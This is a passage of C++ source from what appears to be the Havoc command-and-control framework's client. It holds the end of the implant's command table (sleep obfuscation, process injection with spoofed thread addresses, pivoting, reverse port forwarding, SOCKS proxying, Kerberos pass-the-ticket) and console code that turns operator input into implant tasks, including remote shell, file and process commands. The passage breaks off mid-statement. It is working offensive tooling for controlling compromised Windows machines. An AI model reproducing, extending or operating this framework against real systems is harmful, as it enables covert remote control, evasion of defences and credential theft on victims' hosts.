"lists users and user information", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, }, }, { .CommandString = "config", .Description = "configure the behaviour of the demon session", .Usage = "[config.flag]", .Example = R"(inject.spawn64 C:\Windows\System32\rundll32.exe)", .Module = true, .SubCommands = { { .CommandString = "implant.verbose", .Description = "enable/disable implant verbose logging (process creation, memory allocation, thread execution etc.)", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "implant.sleep-obf.start-addr", .Description = "set custom thread start addr at sleep obfuscation", .Usage = R"([ lib!function+offset])", .Example = "ntdll!LdrLoadLibrary+0x46", }, { .CommandString = "implant.sleep-obf.technique", .Description = "set custom thread start addr at sleep obfuscation", .Usage = R"([0/1/2])", .Example = "1", .Options = { "0 => WaitForSingleObjectEx (No Obfuscation. simple sleep)", "1 => Foliage (by @ilove2pwn_)", "2 => Ekko (by @C5pider, @peterwintrsmith and @modexpblog)", }, }, { .CommandString = "implant.coffee.veh", .Description = "enable/disable VEH for object file loading", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "implant.coffee.threaded", .Description = "enable/disable threading while executing object files", .Usage = R"([true/false])", .Example = "true", }, { .CommandString = "memory.alloc", .Description = "memory allocation behaviour", .Usage = R"([1/2/3])", .Example = "1", .Options = { "1 => Win32 API (VirtualAllocEX)", "2 => Native API (NtAllocateVirtualMemory)", }, }, { .CommandString = "memory.execute", .Description = "memory executing behaviour (remote/local thread)", .Usage = R"([ 1 / 2 / 3 / 4 ])", .Example = "1", .Options = { "1 => Win32 API (CreateRemoteThread)", "2 => Native API (NtCreateThreadEx)", }, }, { .CommandString = "inject.spoofaddr", .Description = "inject code with spoofed thread start addr", .Usage = R"([ lib!function+offset ])", .Example = "ntdll!LdrLoadLibrary+0x46", }, { .CommandString = "inject.spawn64", .Description = "default x64 process to spawn for fork & run operations", .Usage = R"([C:\path\to\executable.exe])", .Example = R"(C:\Windows\System32\rundll32.exe)", }, { .CommandString = "inject.spawn32", .Description = "default x86 process to spawn for fork & run operations", .Usage = R"([C:\path\to\executable.exe])", .Example = R"(C:\Windows\SysWow64\rundll32.exe)", }, { .CommandString = "killdate", .Description = "change the default KillDate, set to 0 to disable. The time is interpreted in GMT 0", .Usage = R"([YEAR-MONTH-DAY HOUR-MINUTE-SECOND])", .Example = R"(2006-01-02 15:04:05)", }, { .CommandString = "workinghours", .Description = "change the working hours, set to 0 to disable.", .Usage = R"([H:mm-H-mm])", .Example = R"(8:30-19:00)", }, }, }, { .CommandString = "pivot", .Description = "pivoting module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command]", .Example = R"(connect SPIDERS-PC agent_6d6e)", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list connected agent pivots", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "connect", .Description = "connect to a pivoting agent", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Host] [Address]", .Example = R"(HOST-DC agent_6d6e)", }, { .CommandString = "disconnect", .Description = "disconnect from a pivoting agent", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Agent ID]", .Example = R"(64656d6e)", }, }, }, { .CommandString = "rportfwd", .Description = "reverse port forwarding", .Usage = "[sub command] (args)", .Example = "add 0.0.0.0 8080 192.157.0.1 4444", .Module = true, .SubCommands = { { .CommandString = "add", .Description = "add an reverse port forward", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind host] [bind port] [forward host] [forward port]", .Example = "0.0.0.0 8080 192.157.0.1 4444", }, { .CommandString = "list", .Description = "list all reverse port forwards", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "remove", .Description = "close and remove a reverse port forward", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Socket ID]", .Example = R"(b4bbb42)", }, { .CommandString = "clear", .Description = "close and clear all reverse port forwards", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "socks", .Description = "socks5 proxy", .Usage = "[sub command] (args)", .Example = "add 4444", .Module = true, .SubCommands = { { .CommandString = "add", .Description = "add a socks5 proxy", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind port]", .Example = "4444", }, { .CommandString = "list", .Description = "list all socks5 proxy servers", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "kill", .Description = "kill and remove a socks5 proxy server", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind port]", .Example = R"(4444)", }, { .CommandString = "clear", .Description = "kill and clear all socks5 proxy servers", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "luid", .Description = "get current logon ID", .Usage = "", .Example = "", NO_SUBCOMMANDS }, { .CommandString = "klist", .Description = "list Kerberos tickets", .Usage = "[/luid 0x123| /all]", .Example = "/all", NO_SUBCOMMANDS }, { .CommandString = "purge", .Description = "purge a Kerberos ticket", .Usage = "/luid <0x123>", .Example = "/luid 0x123", NO_SUBCOMMANDS }, { .CommandString = "ptt", .Description = "import Kerberos ticket into a logon session", .Usage = " [/luid <0x0>]", .Example = "doIFqjCCBaagAwIB...", NO_SUBCOMMANDS }, }; ================================================ FILE: client/src/Havoc/Demon/ConsoleInput.cc ================================================ #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; using namespace Util; template auto string_format( const std::string& format, Args ... args ) -> std::string { int size_s = std::snprintf( nullptr, 0, format.c_str(), args ... ) + 1; // Extra space for '\0' if( size_s <= 0 ){ throw std::runtime_error( "Error during formatting." ); } auto size = static_cast( size_s ); std::unique_ptr buf( new char[ size ] ); std::snprintf( buf.get(), size, format.c_str(), args ... ); return std::string( buf.get(), buf.get() + size - 1 ); // We don't want the '\0' inside } static bool is_number( const std::string& s ) { std::string::const_iterator it = s.begin(); while ( it != s.end() && std::isdigit( *it ) ) ++it; return !s.empty() && it == s.end(); } auto operator * ( string a, unsigned int b ) -> string { auto output = string( "" ); while ( b-- ) output += a; return output; } static auto JoinAtIndex( QStringList list, int index ) -> QString { QString string; int size = list.size(); for ( int i = 0; i < ( size - index ); i++ ) { if ( i == 0 ) string.append( list[ index + i ] ); else string.append( " " + list[ index + i ] ); } return string; } auto ParseQuotes( QString commandline ) -> QStringList { auto iss = std::istringstream( commandline.toStdString() ); auto s = std::string(); auto InputCommands = QStringList(); while ( iss >> std::quoted( s ) ) InputCommands << QString(s.c_str()); return InputCommands; } // parse double quotes and backslashes auto ParseCommandLine( QString commandline ) -> QStringList { auto cmdline = commandline.toStdString(); auto InputCommands = QStringList(); auto in_quotes = false; char c; char next_c; char next_next_c; std::string parsed; for( size_t i = 0; i < cmdline.length(); i++) { c = cmdline[ i ]; if ( i + 1 < cmdline.length() ) next_c = cmdline[ i + 1 ]; else next_c = 0; if ( i + 2 < cmdline.length() ) next_next_c = cmdline[ i + 2 ]; else next_next_c = 0; if ( c == '"' && ! in_quotes ) { // we are entering a quoted string in_quotes = true; } else if ( c == '"' && in_quotes ) { in_quotes = false; if ( next_c != ' ' ) { // we got out of quotes and the next char is not a space, break word InputCommands << QString(parsed.c_str()); parsed = ""; } } // handle a backslash else if ( c == '\\' ) { if ( next_c == '\\' ) { /* * double backslask is a special scenario: * we want to allow: \\dc01\c$\windows, instead of: \\\\dc01\c$\windows * but also, we want to be able to escape backslashes * if they are followed by a space or double quote * meaning: * double backslash followed by a space or double quote = escaped backslash * double backslash followed by any other character = double backslash */ if ( next_next_c == ' ' || next_next_c == '"' ) { // we are in these scenarios: // "foo 1\\" bar -> arg1: 'foo 1\' arg2: 'bar' // foo\\ bar -> arg1: 'foo\' arg2: 'bar' parsed += '\\'; i++; } else { // we are in this scenario: // \\dc01\c$\windows -> \\dc01\c$\windows parsed += '\\'; } } // if the next char is a space, enter it else if ( next_c == ' ' ) { parsed += ' '; i++; } // if the next char is a double quote, enter it else if ( next_c == '"' ) { parsed += '"'; i++; } else { // if the next char some other value, enter a backslash parsed += '\\'; } } else if ( c == ' ' && ! in_quotes ) { // we have a space while not in quotes, break word InputCommands << QString(parsed.c_str()); parsed = ""; } else { // If we encounter any other character, add it to the parsed string parsed += c; } } // add the end of the last string if ( parsed.size() > 0 ) { InputCommands << QString(parsed.c_str()); parsed = ""; } return InputCommands; } bool compareQString(const QString &a, const QString &b) { return a.toLower() < b.toLower(); } DemonCommands::DemonCommands( ) { Execute.DemonCommandInstance = this; } auto DemonCommands::SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void { this->DemonConsole = pInteracted; } auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool { auto InputCommands = ParseCommandLine(commandline); auto IsDemonAgent = false; auto AgentData = ServiceAgent(); // check if it's a generic demon or 3rd party agent if ( MagicValue == DemonMagicValue ) { IsDemonAgent = true; } else { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( MagicValue == agent.MagicValue ) { AgentData = agent; AgentTypeName = agent.Name; } } } if ( IsDemonAgent ) { if ( InputCommands[ 0 ].compare( "help" ) == 0 ) { if ( InputCommands.size() > 1 && InputCommands[ 1 ] != "" ) { bool FoundCommand = false; for ( auto & commandIndex : DemonCommandList ) { if ( InputCommands[ 1 ].compare( commandIndex.CommandString ) == 0 ) { FoundCommand = true; if ( ( ! commandIndex.SubCommands.empty() || commandIndex.Module ) && InputCommands.size() > 2 && InputCommands[ 2 ] != "" ) { bool FoundSubCommand = false; for ( auto & SubCommand : commandIndex.SubCommands ) { auto SubCommandString = SubCommand.CommandString; if ( InputCommands[ 2 ].compare( SubCommandString ) == 0 ) { FoundSubCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Module : " + commandIndex.CommandString ); DemonConsole->Console->append( " - Sub Command : " + SubCommand.CommandString ); DemonConsole->Console->append( " - Description : " + SubCommand.Description ); if ( ! SubCommand.Behavior.isEmpty() ) DemonConsole->Console->append( " - Behavior : " + SubCommand.Behavior ); if ( ! SubCommand.Usage.isEmpty() ) DemonConsole->Console->append( " - Usage : " + commandIndex.CommandString + " "+ SubCommand.CommandString + " " + SubCommand.Usage ); if ( ! SubCommand.Example.isEmpty() ) DemonConsole->Console->append( " - Example : " + commandIndex.CommandString + " "+ SubCommand.CommandString + " " + SubCommand.Example ); /* if ( ! SubCommand.Usage.isEmpty() ) DemonConsole->Console->append( " - Required Args : " + QString( to_string( SubCommand.Usage.split( " " ).size() ).c_str() ) );*/ if ( ! SubCommand.Options.isEmpty() ) { DemonConsole->Console->append( " - Options : " ); for ( auto& Option : SubCommand.Options ) DemonConsole->Console->append( " " + Option); } break; } } if ( ! FoundSubCommand ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { if ( InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 ) { FoundSubCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Module : " + QString( Command.Module.c_str() ) ); DemonConsole->Console->append( " - Sub Command : " + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); // if ( Command.Behavior != 0 ) // DemonConsole->Console->append( " - Behavior : " + SubCommand.Behavior ); if ( Command.Usage.c_str() ) DemonConsole->Console->append( " - Usage : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( Command.Example.c_str() ) DemonConsole->Console->append( " - Example : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); /*if ( ! QString( Command.Usage.c_str() ).isEmpty() ) DemonConsole->Console->append( " - Required Args : " + QString( to_string( SubCommand.Usage.split( " " ).size() ).c_str() ) );*/ } } } if ( ! FoundSubCommand ) { DemonConsole->Console->append( Util::ColorText::Red( "[-]" ) + " Couldn't find sub command in \"" + InputCommands[ 1 ] + "\": " + InputCommands[ 2 ] ); } } } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + commandIndex.CommandString ); DemonConsole->Console->append( " - Description : " + commandIndex.Description ); if ( ! commandIndex.Behavior.isEmpty() ) DemonConsole->Console->append( " - Behavior : " + commandIndex.Behavior ); if ( ! commandIndex.Usage.isEmpty() ) DemonConsole->Console->append( " - Usage : " + commandIndex.CommandString + " " + commandIndex.Usage ); if ( ! commandIndex.Example.isEmpty() ) DemonConsole->Console->append( " - Example : " + commandIndex.CommandString + " " + commandIndex.Example ); if ( ! commandIndex.Usage.isEmpty() && commandIndex.SubCommands.empty() ) DemonConsole->Console->append(" - Required Args : " + QString(to_string(commandIndex.Usage.split(" ").size()).c_str())); if ( ! commandIndex.SubCommands.empty() || commandIndex.Module ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " Command Description " ); DemonConsole->Console->append( " --------- ------------- " ); /*if ( commandIndex.SubCommands.empty() ) { DemonConsole->TaskError( "No subcommand registered for " + commandIndex.CommandString ); return false; }*/ for ( auto & SubCommand : commandIndex.SubCommands ) { if ( SubCommand.CommandString != nullptr ) { int TotalSize = 31; int CmdSize = SubCommand.CommandString.size(); if ( CmdSize > 31 ) CmdSize = 31; std::string Spaces = std::string( ( TotalSize - CmdSize ), ' ' ); DemonConsole->Console->append( " " + SubCommand.CommandString + QString( Spaces.c_str() ) + SubCommand.Description ); } } for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { int TotalSize = 19; std::string Spaces = std::string( ( TotalSize - Command.Command.size() ), ' ' ); DemonConsole->Console->append( " " + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + " " + QString( Command.Help.c_str() ) ); } } } } break; } } if ( ! FoundCommand ) { spdlog::debug( "check registered modules" ); // Alright first check if we registered a module for ( auto& Module : HavocX::Teamserver.RegisteredModules ) { spdlog::debug( " - {}", Module.Name ); if ( InputCommands[ 1 ].compare( Module.Name.c_str() ) == 0 ) { FoundCommand = true; if ( InputCommands.size() > 2 ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 && InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append( " - Usage : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( ! Command.Example.empty() ) DemonConsole->Console->append( " - Example : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); if ( ! Command.Usage.empty() ) DemonConsole->Console->append(" - Required Args : " + QString( to_string( QString( Command.Usage.c_str() ).split(" ").size() ).c_str() ) ); break; } } } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Module.Name.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Module.Description.c_str() ) ); if ( ! Module.Behavior.empty() ) DemonConsole->Console->append( " - Behavior : " + QString( Module.Behavior.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append( " - Usage : " + QString( Module.Name.c_str() ) + " " + QString( Module.Usage.c_str() ) ); if ( ! Module.Example.empty() ) DemonConsole->Console->append( " - Example : " + QString( Module.Name.c_str() ) + " " + QString( Module.Example.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append(" - Required Args : " + QString( to_string( QString( Module.Usage.c_str() ).split(" ").size() ).c_str() ) ); DemonConsole->Console->append( "" ); DemonConsole->Console->append( " Command Description " ); DemonConsole->Console->append( " --------- ------------- " ); for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { int TotalSize = 19; std::string Spaces = std::string( ( TotalSize - Command.Command.size() ), ' ' ); DemonConsole->Console->append( " " + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + " " + QString( Command.Help.c_str() ) ); } } } } } // Alright... we still can't find what we are searching for so lets search for registered commands... if ( ! FoundCommand ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 ) { FoundCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); if ( Command.Usage.c_str() ) DemonConsole->Console->append( " - Usage : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( Command.Example.c_str() ) DemonConsole->Console->append( " - Example : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); } } } // Ok we have no clue what you mean lol. if ( ! FoundCommand ) DemonConsole->Console->append( Util::ColorText::Red( "[-]" ) + " Couldn't find command: " + InputCommands[ 1 ] ); } } else { int TotalSize = 25; std::vector commandOutput; for (auto &i : DemonCommandList) { QString currentLine; if (!i.SubCommands.empty() || i.Module) { if (i.Module) { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Module " + " " + i.Description; } else if (i.SubCommands.empty()) { if (i.SubCommands[0].CommandString != nullptr) { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Module " + " " + i.Description; } } else { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Command" + " " + i.Description; } } else { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Command" + " " + i.Description; } commandOutput.push_back(currentLine); } for (auto &Module : HavocX::Teamserver.RegisteredModules) { if (!Module.Name.empty()) { QString currentLine = " " + QString(Module.Name.c_str()) + QString(std::string((TotalSize - Module.Name.size()), ' ').c_str()) + "Module " + " " + QString(Module.Description.c_str()); commandOutput.push_back(currentLine); } } for (auto &Command : HavocX::Teamserver.RegisteredCommands) { if (Command.Module.empty()) { QString currentLine = " " + QString(Command.Command.c_str()) + QString(std::string((TotalSize - Command.Command.size()), ' ').c_str()) + "Command" + " " + QString(Command.Help.c_str()); commandOutput.push_back(currentLine); } } // Sort the commandOutput vector alphabetically std::sort(commandOutput.begin(), commandOutput.end(), compareQString); // Append the sorted commands to the console DemonConsole->Console->append(""); DemonConsole->Console->append("Demon Commands"); DemonConsole->Console->append("=============="); DemonConsole->Console->append(""); DemonConsole->Console->append(" Command Type Description"); DemonConsole->Console->append(" ------- ------- -----------"); for (const auto &output : commandOutput) { DemonConsole->Console->append(output); } } return true; } else if ( InputCommands[ 0 ].compare( "sleep" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ); return false; } if ( InputCommands[ 1 ].at( 0 ) == '-' ) { CONSOLE_ERROR( "\"sleep\" doesn't support negative delays" ); return false; } auto jit = QString( "0" ); if ( InputCommands.size() == 3 ) { jit = InputCommands[ 2 ]; bool ok; double jitter = jit.toDouble(&ok); if ( ok == false ) { CONSOLE_ERROR( "Invalid jitter" ); return false; } if ( jitter < 0 ) { CONSOLE_ERROR( "\"sleep\" doesn't support negative jitters" ); return false; } if ( jitter > 100 ) { CONSOLE_ERROR( "The jitter can't be larger than 100" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to sleep for " + InputCommands[ 1 ] + " seconds with " + jit + "% jitter" ); } else { TaskID = CONSOLE_INFO( "Tasked demon to sleep for " + InputCommands[ 1 ] + " seconds" ); } CommandInputList[ TaskID ] = commandline; SEND( Execute.Sleep( TaskID, InputCommands[ 1 ] + ";" + jit ) ) } else if ( InputCommands[ 0 ].compare( "interactive" ) == 0 ) { if ( InputCommands.size() > 1 ) { CONSOLE_ERROR( "Too many arguments" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to enter interactive mode" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Sleep( TaskID, "0;0" ) ) } else if ( InputCommands[ 0 ].compare( "checkin" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon send back a checkin request" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Checkin( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "task" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked teamserver to list commands in task queue" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Task( TaskID, "task::list" ) ); } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked teamserver to clear all commands from task queue" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Task( TaskID, "task::clear" ) ); } else { CONSOLE_ERROR( "Sub command '" + InputCommands[ 1 ]+ "' in 'task' not found found" ) return false; } } else if ( InputCommands[ 0 ].compare( "job" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list jobs" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "list", "0" ) ) } else if ( InputCommands[ 1 ].compare( "suspend" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to suspend job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "suspend", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 1 ].compare( "resume" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to resume job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "resume", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to kill job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "kill", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else { CONSOLE_ERROR( "Sub command not found: " + InputCommands[ 1 ] ) } } else if ( InputCommands[ 0 ].compare( "dir" ) == 0 || InputCommands[ 0 ].compare( "ls" ) == 0 ) { auto Path = QString( "" ); auto SubDirs = "false"; auto FilesOnly = "false"; auto DirsOnly = "false"; auto ListOnly = "false"; auto Starts = QString( "" ); auto Contains = QString( "" ); auto Ends = QString( "" ); if ( InputCommands.size() == 1 ) { Path = "."; TaskID = CONSOLE_INFO( "Tasked demon to list current directory" ); } else { Path = InputCommands[ 1 ]; for ( int i = 2; i < InputCommands.size(); ++i ) { if ( InputCommands[ i ].compare( "/s" ) == 0 ) { SubDirs = "true"; } else if ( InputCommands[ i ].compare( "/f" ) == 0 ) { FilesOnly = "true"; } else if ( InputCommands[ i ].compare( "/d" ) == 0 ) { DirsOnly = "true"; } else if ( InputCommands[ i ].compare( "/b" ) == 0 ) { ListOnly = "true"; } else if ( InputCommands[ i ].compare( "/starts" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Starts = InputCommands[ i + 1 ]; i++; } else if ( InputCommands[ i ].compare( "/contains" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Contains = InputCommands[ i + 1 ]; i++; } else if ( InputCommands[ i ].compare( "/ends" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Ends = InputCommands[ i + 1 ]; i++; } else { CONSOLE_ERROR( "Unknown parameter " + InputCommands[ i ] ); return false; } } if ( FilesOnly == "true" && DirsOnly == "true" ) { CONSOLE_ERROR( "Cannot set both /f and /d" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to list " + Path ); } CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "dir", Path + ";" + SubDirs + ";" + FilesOnly + ";" + DirsOnly + ";" + ListOnly + ";" + Starts + ";" + Contains + ";" + Ends ) ); } else if (InputCommands[0].compare( "cd" ) == 0) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to change directory: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cd", Path ) ); } else if ( InputCommands[ 0 ].compare( "cp" ) == 0) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto PathFrom = InputCommands[ 1 ]; auto PathTo = JoinAtIndex( InputCommands, 2 ); TaskID = CONSOLE_INFO( "Tasked demon to copy file " + PathFrom + " to " + PathTo ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cp", PathFrom.toLocal8Bit().toBase64() + ";" + PathTo.toLocal8Bit().toBase64() ) ); } else if ( InputCommands[ 0 ].compare( "mv" ) == 0 || InputCommands[ 0 ].compare( "move" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto PathFrom = InputCommands[ 1 ]; auto PathTo = JoinAtIndex( InputCommands, 2 ); TaskID = CONSOLE_INFO( "Tasked demon to move file " + PathFrom + " to " + PathTo ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "mv", PathFrom.toLocal8Bit().toBase64() + ";" + PathTo.toLocal8Bit().toBase64() ) ); } else if ( InputCommands[ 0 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to remove file or directory: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "remove", Path ) ); } else if (InputCommands[0].compare( "mkdir" ) == 0) { auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to create new directory: " + Path ); if ( InputCommands.size() < 1 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "mkdir", Path ) ); } else if ( InputCommands[0].compare( "pwd" ) == 0) { TaskID = CONSOLE_INFO( "Tasked demon to get current working directory" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "pwd", "" ) ); } else if ( InputCommands[ 0 ].compare( "shell" ) == 0 ) { if ( InputCommands.length() > 1 ) { auto Program = QString("c:\\windows\\system32\\cmd.exe"); // NOTE: the 'shell' command does not need to escape quotes auto Args = QString( "/c " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) ) } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 0 ].compare( "proc" ) == 0 ) { if ( InputCommands.size() == 1 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enumerate and list all processes" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcList( TaskID, false ); } else if ( InputCommands[ 1 ].compare( "modules" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list all modules/dll of a remote process" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcModule( TaskID, 2, InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "grep" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to grep information about the specified process" ); CommandInputList[TaskID] = commandline; if ( Send ) Execute.ProcModule( TaskID, 3, InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "create" ) == 0 ) { if ( InputCommands.length() >= 4 ) { auto Index = 2; auto Flags = QString(); auto Program = QString(); auto Args = QString(); auto Verbose = QString(); auto Piped = QString(); if ( InputCommands[ Index ].compare( "normal" ) == 0 ) { Flags = "0"; } else if ( InputCommands[ Index ].compare( "suspended" ) == 0 ) { // CREATE_SUSPENDED = 0x00000004 Flags = "4"; } else { CONSOLE_ERROR( "Process creation flag not found: " + InputCommands[ Index ] ) return false; } Index++; Verbose = "TRUE"; if ( InputCommands[ Index ].compare( "--silent" ) == 0 ) { Verbose = "FALSE"; Index++; } Piped = "TRUE"; if ( InputCommands[ Index ].compare( "--no-pipe" ) == 0 ) { Piped = "FALSE"; Index++; } Program = InputCommands[ Index ]; Index++; Args = "\"" + Program + 